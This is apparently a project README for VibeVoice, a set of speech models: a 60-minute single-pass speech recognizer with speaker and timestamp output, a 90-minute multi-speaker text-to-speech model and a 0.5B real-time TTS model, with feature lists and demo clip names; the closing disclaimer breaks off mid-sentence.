VibeVoice-ASR is a unified speech-to-text model designed to handle 60-minute long-form audio in a single pass, generating structured transcriptions containing Who (Speaker), When (Timestamps), and What (Content), with support for Customized Hotwords.
-
🕒 60-minute Single-Pass Processing: Unlike conventional ASR models that slice audio into short chunks (often losing global context), VibeVoice ASR accepts up to 60 minutes of continuous audio input within 64K token length. This ensures consistent speaker tracking and semantic coherence across the entire hour.
-
👤 Customized Hotwords: Users can provide customized hotwords (e.g., specific names, technical terms, or background info) to guide the recognition process, significantly improving accuracy on domain-specific content.
-
📝 Rich Transcription (Who, When, What): The model jointly performs ASR, diarization, and timestamping, producing a structured output that indicates who said what and when.
📖 Documentation | 🤗 Hugging Face | 🎮 Playground | 🛠️ Finetuning | 📊 Paper
small.mp4
Best for: Long-form conversational audio, podcasts, multi-speaker dialogues
-
⏱️ 90-minute Long-form Generation: Synthesizes conversational/single-speaker speech up to 90 minutes in a single pass, maintaining speaker consistency and semantic coherence throughout.
-
👥 Multi-speaker Support: Supports up to 4 distinct speakers in a single conversation, with natural turn-taking and speaker consistency across long dialogues.
-
🎭 Expressive Speech: Generates expressive, natural-sounding speech that captures conversational dynamics and emotional nuances.
-
🌐 Multi-lingual Support: Supports English, Chinese and other languages.
📖 Documentation | 🤗 Hugging Face | 📊 Paper
English
ES_._3.mp4
Chinese
default.mp4
Cross-Lingual
1p_EN2CH.mp4
Spontaneous Singing
2p_see_u_again.mp4
Long Conversation with 4 people
4p_climate_45min.mp4
VibeVoice-Realtime is a lightweight real‑time text-to-speech model supporting streaming text input and robust long-form speech generation.
- Parameter size: 0.5B (deployment-friendly)
- Real-time TTS (~300 milliseconds first audible latency)
- Streaming text input
- Robust long-form speech generation (~10 minutes)
📖 Documentation | 🤗 Hugging Face | 🚀 Colab
VibeVoice_Realtime.mp4
Please see CONTRIBUTING.md for detailed contribution guidelines.
While efforts have been made to optimize it through various techniques, it may still produce outputs that are unexpect
▸ 展开全文